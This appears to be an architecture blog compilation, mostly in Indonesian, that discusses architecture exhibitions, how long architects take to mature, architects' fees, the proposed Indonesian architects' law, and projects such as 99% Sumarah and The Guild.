UPH exhibition waktu adalah ruang http://i0.wp.com/www.arsitektur.asia/wp-content/uploads/2015/08/Zona-Tugas-Akhir.jpg

The models in Waktu adalah Ruang Exhibition exhibited with storyboard from intimate to more public project, showing the understanding from micro to macro.

UPH Exhibition Waktu adalah ruang http://media.rooang.com/wp-content/uploads/2015/08/Zona-Kontinum-Kota-Tua.jpg
UPH Exhibition Waktu adalah ruang http://media.rooang.com/wp-content/uploads/2015/08/Zona-Kontinum-Kota-Tua.jpg

“Segar” Adalah sebuah pameran arsitektur yang diselenggarakan untuk meramaikan pemilihan ketua umum Ikatan Arsitek. @adam Anaki Instagram Picture
“Segar” Adalah sebuah pameran arsitektur yang diselenggarakan untuk meramaikan pemilihan ketua umum Ikatan Arsitek. @adam Anaki Instagram Picture

Meanwhile the exhibition in like indobuildtech showing more commercial Agenda and Exhibition Segar showing more political agenda in relation to moment of Indonesian Institute of Architect. Reflecting in this selection process and the empathy to the public. I did critic for some of the exhibition titled Segar few months ago. The curator selected the participant. I was thinking if this exhibition was intended for celebrating the moment of selection of chief of Indonesian Institute of Architects. Deep in my mind I have so many questions, but fundamentally why should we, that we are in Jakarta, which already has reputations, 50 architects or more trying to show existence by having less agenda. It would be great if some of the architects, from outside java, unheard, but has ingenious work and several limitations of information, could be invited to collaborate in exhibition as a part of political agenda to unite architects in Indonesia. In the architecture, architects have their own label, and branding, off course it could be an attraction as the name is announced in the exhibition, but does the content is more important, because the architects who have great branding, started from zero by their amazing work, it’s not instant, it’s long journey, to start the career, some of the architects like Gehry, Mayne, the need 10 years to train and produce body of work.

Hyderabad, Sindh, southern Pakistan; not Hyderabad, Andhra Pradesh, south India. Images from Bernard Rudofsky, Architecture without Architects, New York, Museum of Modern Art, 1964: windscoops (called bad-gir by Rudofsky, müg by Wikipedia) on the roofs of buildings, which channel air into their interiors. “In multistoried houses they reach all the way down, doubling as intramural telephones. Although the origin of this contraption is unknown, it has been in use for at least five hundred years.”
Hyderabad, Sindh, southern Pakistan; not Hyderabad, Andhra Pradesh, south India. Images from Bernard Rudofsky, Architecture without Architects, New York, Museum of Modern Art, 1964: windscoops (called bad-gir by Rudofsky, müg by Wikipedia) on the roofs of buildings, which channel air into their interiors.
“In multistoried houses they reach all the way down, doubling as intramural telephones. Although the origin of this contraption is unknown, it has been in use for at least five hundred years.”



Pembelajaran Seumur Hidup

Adalah bukan rahasia lagi bahwa seorang arsitek membutuhkan waktu lama untuk bisa tumbuh. Seorang Frank Gehry yang mendesain Guggenheim Museum di Bilbao, Spanyol, Thom Mayne yang mendesain Bangunan sekolah Copper Union di New York, ataupun Renzo Piano yang mendesain The Shard di London, Inggris, ataupun Norman Foster yang mendesain Reichstag di Jerman membutuhkan 20 – 30 tahun untuk bisa membuat publik memahami prinsip – prinsip desain yang ada kemudian menerimanya. Pencapaian ini bisa dihubungkan dengan penghargaan Pritzker Prize yang sudah diterima arsitek – arsitek tersebut. Pritzker prize adalah sebuah nobel arsitektur, penghargaan untuk arsitek yang menyumbangkan ide -idenya untuk masyarakat. Dari lamanya pembelajaran yang dibutuhkan arsitek, Ikatan Arsitek Indonesia (IAI) berusaha untuk membuat tatanan pembelajaran arsitek dari 3 tahun untuk arsitek pratama, 5 tahun untuk arsitek madya, juga 10 tahun untuk arsitek utama. Ketiga tingkatan ini bergantung dari kompleksitas pekerjaan, tinggi bangunan, dan kerumitan sistem bangunan yang muncul untuk membuat bangunan ini berfungsi baik seperti integrasi struktur, mekanikal, elektrikal, pencahayaan, sistem transportasi, sistem kebakaran yang perlu untuk dituangkan kedalam gambar kerja yang terukur sebagai panduan kontraktor untuk bekerja.

Frank Gehry memulai belajar dengan kegagalan, kemudian ia bisa lulus dari jurusan arsitektur dan kemudian magang, ia kemudan mencoba bertahan hidup dengan membaut praktek sendiri dan mendesain bangunan – bangunan komersial. Sehingga pada akhirnya setelah saatnya tiba, ia memutuskan untuk memilih klien, dan mengerjakan pekerjaan yang baik untuk dirinya sendiri, pada akhirnya muncullah desain Guggenheim di BIlbao. Frank Gehry memutuskan untuk belajar menghadapi tantangan di masyarakat, membuktikan bahwa ia mau belajar untuk menyesuaikan diri dengan masyarakat. Pak Achmad Noerzaman seorang direktur Arkonin juga membutuhkan waktu dalam perjalanannya menjadi seoarang presiden direktur di Arkonin, salah satu biro arsitek terbesar di Indonesia. Ia berangkat dari seseorang yang belajar dari senior – seniornya, melakukan sketsa – sketsa desain, dan membuktikan dari satu proyek ke proyek lainnya, terbangun dan tidak terbangun, konsep sampai gambar kerja sehingga karyanya mewarnai bilangan Jendral Sudirman, Bundaran HI, dan banyak lagi di kota – kota besar di seluruh Indonesia. Ada juga Tan Tjang Ay, yang mendesain bangunan – bangunan yang lebih sederhana, yang lebih menekankan pada sisi – sisi yang lebih detail, melayani klien – klien yang lebih personal dari jasa desain sampai bangunan – bangunan tersebut terbangun dengan inovasi – inovasi penggunaan material lokal dan pengolahan ruang yang efisien.Tidak jauh dari Indonesia, di Indonesia, seorang Laurie Baker, finalis peraih pritzker prize di tahun 2007, membuat desain – desain yang sederhana bersama costford sehingga terdesain rumah sebanyak 35.000 rumah di India. Desain – desain Laurie Baker memiliki sensitifitas terhadap kontur lahan, tipe pondasi, pemilihan jenis material, dan ekspresi yang jujur.


Apresiasi terhadap Arsitek


Dalam tabel standar biaya konsultan inkindo 2015 – Disdik DKI Jakarta, terdapat daftar untuk spesifikasi tenaga ahli dengan spesialisasi tertentu [1]. Spesialisasi tertentu ini mengacu ke perancangan gedung dengan kompleksitas tinggi seperti bangunan tinggi, pembangkit listrik, jembatan, dll. Uniknya dan anehnya, di dalam tabel ini tidak terdapat profesi arsitek, sedangkan disebutkan ahli mekanikal elektrikal, teknik lingkungan, teknik sipik, Geoteknik, Geologi. Memang di dalam lampiran tersebut terdapat kata – kata “dan lain – lain” namun disinilah tersirat bahwa, apakah profesi arsitek ini hadir dalam lingkungan jasa konsultan Indonesia. Jawabannya pasti iya, hadir, namun keberpihakan untuk arsitek patut untuk diperjuangkan karena tiga hal penting:

pertama arsitek berfungsi untuk melakukan efisiensi anggaran, dengan optimasi terhadap massa bangunan, luas bangunan, layout ruang, menentukan titik kolom struktur, menentukan jarak sisa untuk saluran mekanikal elektrikal dan pemipaan, dan optimasi penggunaan material. Kedua, arsitek berfungsi untuk mempercepat masa konstruksi bangunan dengan mempertimbangkan cara bangunan tersebut dikonstruksi, ketiga, arsitek bertanggung jawab terhadap tata ruang, dan perijinan bangunan tersebut untuk mendapatkan ijin mendirikan bangunan, yang bisa dipertanggung jawabkan keamanan, kenyamanan berdasarkan good practice, ataupun Standar Nasional Indonesia, ataupun timesaver, neufert data handbook, building metric handbook, ataupun standar – standar lain yang bisa diargumentasikan seperti standar pengamanan terhadap bocornya air, standar pengolahan minyak atau limbah, standar pengolahan air kotor, dan standar penyediaan air bersih dan sambungan antar detail yang mencegah angin, air, ataupun pandangan, terkait dengan privasi pengguna. Sedemikian mengerikannya apabila satu bangunan tidak didesain dengan benar, apalagi bangunan dengan kompleksitas tinggi yang akan digunakan oleh klien dan penggunanya. Kita patut bertanya – tanya, standar seperti apa yang digunakan.  Apalagi ditambah apabila kita bertanya – tanya tentang penghargaan sebuah ide – ide dari satu bangunan. Mungkin keadaan ini masih jauh Panggang Dari Api atau kenyataan tidak sesuai harapan.

Professor Danisworo dalam kuliahnya di Omah library, menjelaskan bahwa standar fee untuk arsitek dari tahun ke tahun berkurang dari jaman ia merintis praktek Encona, dahulu pada waktu ia mengerjakan desain bandara udara Halim, uang imbalan balas jasa bersih yang didapat oleh kantor, bisa digunakan untuk membeli satu buah tanah berikut rumah yang besar, di daerah sumur bandung tempat kantor Encona beroperasi. Dari fee yang didapatkan sekarang dibandingkan biaya hidup yang ada, kompetisi yang ada, penghargaan yang ada harus membuat para arsitek menjadi perlu kreatif dalam mensiasati keadaan [2]. Keadaan yang dijelaskan professor Danisworo Hal ini berkebalikan  dengan keadaan arsitek – arsitek luar yang masuk ke Indonesia dengan menerapkan fee 10 % – 20 % lebih tinggi dari fee arsitek di negara asalnya, memang disinilah peran marketting, pembentukan branding dan pada akhirnya kualitas menjadi penting. Bahwa adanya kualitas pranata yang mendukung, yang belum membuat profesi arsitek ini tumbuh subur, dan makin kuat. Arsitek Indonesia perlu berjuang dalam keterbatasan.

[2] professor Danisworo, dalam lecture di Omah Library


Apa Konsekuensi logis UU Arsitek ?

honorarium fee arsitek berdasarkan IAI

Apa konsekuensi dari pengesahan undang – undang arsitek ? ada 3 ketakutan publik yang terutama bahwa, pertama fee arsitek menjadi meningkat, kedua, paradigma,arsitek menjadi mahal, ketiga, arsitek menjadi tidak sosialis. Fee adalah kesepakatan atas kepercayaan orang yang menyewa arsitek tersebut, dan kemauan sang arsitek untuk berapa ia layak untuk dibayar. Yang dibicarakan ini adalah soal standarisasi yang tercipta apabila ada undang – undang arsitek. Standarisasi ini sifatnya hanya batas bawah, dimana ada alokasi yang layak untuk seorang arsitek bekerja demi keamanan, kenyamanan, keindahan bangunan yang didesain dan akan ada proyek – proyek sosial untuk orang yang membutuhkan dari arsitek. Sebagai ilustrasi di IAI menerapkan batas berdasarkan nilai bangunan, dari 6.5 % – 8 % untuk bangunan kecil di bawah 200 juta, dimana misal rumah dengan nilai bangunan 200 jt, seorang arsitek layak untuk diberikan biaya jasa antara 13.5 juta – 16 juta. Ini sudah termasuk biaya untuk ide – ide, transportasi, dan biaya operasional lainnya. Nilai ini mengecil sampai 1% – 1.5 % ketika proyeknya membesar dan dibeda – bedakan per kesulitan bangunan dari rumah tinggal, bangunan komersial, sekolah, sampai rumah sakit. Nilai ini tidaklah besar, atau kecil sekali dari standar yang ada di Inggris dan Amerika , dimana terdapat standar umum dari 5%, 8 % ,12 % sampai 15 % dari nilai bangunan. Disinilah kesepakatan ini muncul, dan nilai yang diminta oleh IAI kecil sekali dibandingkan dengan contoh yang ada. Mahal itu relatif, namun disinilah pembanding perlu diadakan apabila kita ingin menjadi negara maju, pemikiran logis perlu ada, setidaknya berpikir lebih kritis, seberapa ketertinggalan kita dengan negara lain.

Soal arsitek menjadi tidak sosialis, adalah sebuah kesalahpahaman, ada 3 hal yang mendasari profesionalitas dan tanggung jawab, adanya produk yang dihasilkan, rentang waktu pengerjaan, dan kompesansi biaya yang disepakati. Menjadi seorang arsitek yang sosialis sudah dicanangkan IAI dengan program untuk mendekatkan diri ke masyarakat, ataupun beberapa arsitek sudah mencoba menjadi sosialis dengan caranya sendiri – sendiri. Ada yang menjadi penggiat arsitektur komunitas, ada yang kemudian berkarya dalam pengabdian seperti Y.B. Mangunwijaya. Bahwa memikirkan untuk bangunan yang akan berfungsi dengan baik sudah sangat kompleks, dan untuk menjadi seseoarang yang sosialis adalah panggilan jiwa setiap orang dan merupakan keputusan tiap – tiap orang.



Merindukan Titik Awal untuk Bisa Diakui.

Front row, from left to right: Frank Gehry, Charles Moore, Philip Johnson, Stanley Tigerman, and Robert A.M. Stern. Back row, from left to right: Michael Graves, Cesar Pelli, Charles Gwathmey, and Peter Eisenman. Philip Johnson’s AIA Gold Medal acceptance, pictured with his “kids,” Dallas, Texas, 1978. Image © Courtesy Tigerman McCurry Architects (http://www.archdaily.com/780433/interview-with-stanley-tigerman-in-chicago-id-much-rather-have-better-work-than-better-friends)
Camariderie among architects or it’s like motor gang of architects who share and discuss from time to time. Front row, from left to right: Frank Gehry, Charles Moore, Philip Johnson, Stanley Tigerman, and Robert A.M. Stern. Back row, from left to right: Michael Graves, Cesar Pelli, Charles Gwathmey, and Peter Eisenman. Philip Johnson’s AIA Gold Medal acceptance, pictured with his “kids,” Dallas, Texas, 1978. Image © Courtesy Tigerman McCurry Architects (http://www.archdaily.com/780433/interview-with-stanley-tigerman-in-chicago-id-much-rather-have-better-work-than-better-friends)

Kita melihat, mendengarkan, membaca paragraf – paragraf seperti
“Arsitektur adalah sebuah gaya hidup,”
“Arsitektur adalah sebuah ilmu yang tertinggi dalam kebudayaan dalam membentuk manusia,”
“Kematian arsitektur Indonesia”
“Kehilangan identitas dalam arsitektur Indonesia”
“MEA akan tiba, jadi bersiap – siaplah arsitek Indonesia”
“Kearifan lokal dalam arsitektur Indonesia, pentingnya lokalitas ?”

Paragraf – paragraf tersebut kita sering dengarkan di media – media TV, online, ataupun perbincangan sehari – hari di masyarakat, juga lebih – lebih lagi di kalangan para arsitek, para lulusan pendidikan arsitektur, para mahasiswa arsitektur, dan juga di kalangan para akademisi. Arsitek sebagai salah satu profesi diikat oleh adanya hubungan jasa, hubungan timbal balik, hubungan mutualisme dalam hidup bermasyarakat. Apresiasi terhadap para arsitek pun ada bermacam – macam, ada yang dihargai sebagai seorang juru gambar saja, seorang yang memiliki kemampuan untuk membuat cantik satu bangunan. Adajuga yang diapresiasi lebih oleh publik dimana terdapat pengakuan sebagai seorang yang mampu membawa perubahan dengan ketajaman pemikiran, kemampuan analitis. Hal ini terbukti dari banyaknya lulusan pendidikan arsitektur sebagai seorang walikota dengan contoh : Enrique Peñalosa Londoño, seorang walikota Bogota Columbia, Tri Rismaharini, Ridwan Kamil, seorang politisi, ataupun penggerak sosial, ataupun lebih – lebih lagi sebagai seorang guru kehidupan seperti Laurie Baker di India, ataupun Y.B. Mangunwijaya dalam karya – karyanya semasa ia hidup.

Petirahan Sendangsono designed by Y.B. Mangunwijaya
Petirahan Sendangsono designed by Y.B. Mangunwijaya

CDS - Karya Laurie Baker
CDS – Karya Laurie Baker

Kesalahpahaman terhadap profesi arsitek di internal arsitek dan di masyarakat banyak sekali terjadi sebagai akibat dari tuntutan ekonomi. Tuntutan ini menghimpit lulusan calon – calon arsitek yang sedang magang untuk mendapatkan sertifikasi menjadi arsitek. Hal ini ditambah dengan tingginya kompetisi dalam mencari pekerjaan. Permasalahan ekonomi ini menjadi kompleks ditambah kesalahpahaman masyarakat juga terkadang internal arsitek sendiri bahwa asisten arsitek disamakan dengan arsitek, sebagai perbandingan, bahwa sesekali seorang lulus dari pendidikat arsitektur, ia tidaklah otomatis menjadi seorang arsitek, namun ia adalah sarjana arsitektur lulusan pendidikan arsitektur. ekstrimnya seperti perbandingan seorang sopir angkot dan pembalap. Bahwa untuk diperbolehkan menyetir keduanya wajib hukumnya memiliki Surat Ijin Mengemudi bukan memperbandingkan mengenai siapa yang lebih hebat menyetir. Kesalahpahaman ini muncul dimana – mana, di dalam keluarga, pertemanan sehari – hari, juga relasi antar klien arsitek.

Hal ini berkebalikan di negara – negara persemakmuran, Amerika, dan negara – negara lainnya bahwa tidak semua orang bisa memanggil dirinya arsitek. Di negara kuda besi, Inggris, untuk menjadi seorang arsitek dibutuhkan waktu 5 tahun untuk belajar dan 2 tahun pengalaman kerja dimana calon arsitek harus magang sebagai seorang asisten arsitek. asosiasi arsitek di inggris RIBA(Royal Institute of British Architect) sendiri memvalidasi, sekolah mana saja yang bisa melakukan pendidikan keprofesian [1]. Hal ini berlaku di negara – negara persemakmuran, termasuk mengatur seberapa jauh arsitek asing boleh berpraktek di negaranya, seperti mengatur saham yang dimiliki di dalam perusahaan tidak lebih dari satu pertiga dari keseluruhan saham yang ada, dan wajib untuk memiliki arsitek lokal yang memiliki ijin, sertifikasi sebagai seorang arsitek. [2] Hukum menjadi faktor yang bersifat logis meskipun tidak kualitatif dimana, carut – marut ini salah satunya adalah keterlambatan pengesahan undang – undang arsitek, Undang – undang arsitek wajib hukumnya bagi masyarakat modern yang memiliki kesepahaman dalam definisi arsitek, tata laku arsitek, bagaimana arsitek seharusnya bertanggung jawab terhadap puluhan, ratusan, bahkan ratusan ribu bangunan yang didesain yang memiliki akibat terhadap begitu banyak orang yang menghuninya, sehingga profesionalitas, dan tanggung jawab itu bisa terjadi secara hukum, hitam dan putih.

[2] http://www.boa.gov.sg/faq.html


99% Sumarah is on Archdaily Worldwide

Read full article here.

RAW Architecture’s Brava Casa 99 Percent Sumarah was inspired by an Indonesian form of meditation centered on the philosophy of life. Sumarah is defined as a “total surrender,” allowing the partial ego to give way to the universal self.

The practice is based on developing sensitivity and acceptance through deep relaxation of body, feelings and mind. Its aim is to create inside ourself the inner space and the silence necessary for the true self to manifest and to speak to us said the architects.

Raw Architecture’s team explained that a total surrender to life allows one to see the real beauty in the world. They added that this cycle between mind and soul is a continuous loop, which was the inspiration behind their plan for the structure.

Created with polycarbonate by Danpalon, the project is connected with steel elbow and screw bolt. By creating space within space, the architects have, in essence, created life within life by filling each box with plants or fish.

Looking at the elevation of the structure resonates with the Indonesian mountains that possess sacred meanings of human achievement. Moreover, the box-like composition was influenced by the stacking system in Indonesian temples. Ancient temples, like Borobudur and Prambanan, were formed by stacking many blocks of stone.

The best part of the structure? Its transparency. One can see through the boxes and into other forms of its life systems.





Circular windows and pyramidal skylights add playful geometry to Indonesian home, The Guild is in Dezeen Worldwide

Indonesian architect Realrich Sjarief’s fondness for geometric forms is expressed in the circular and arch-shaped windows of this house and studio he designed for himself in Jakarta.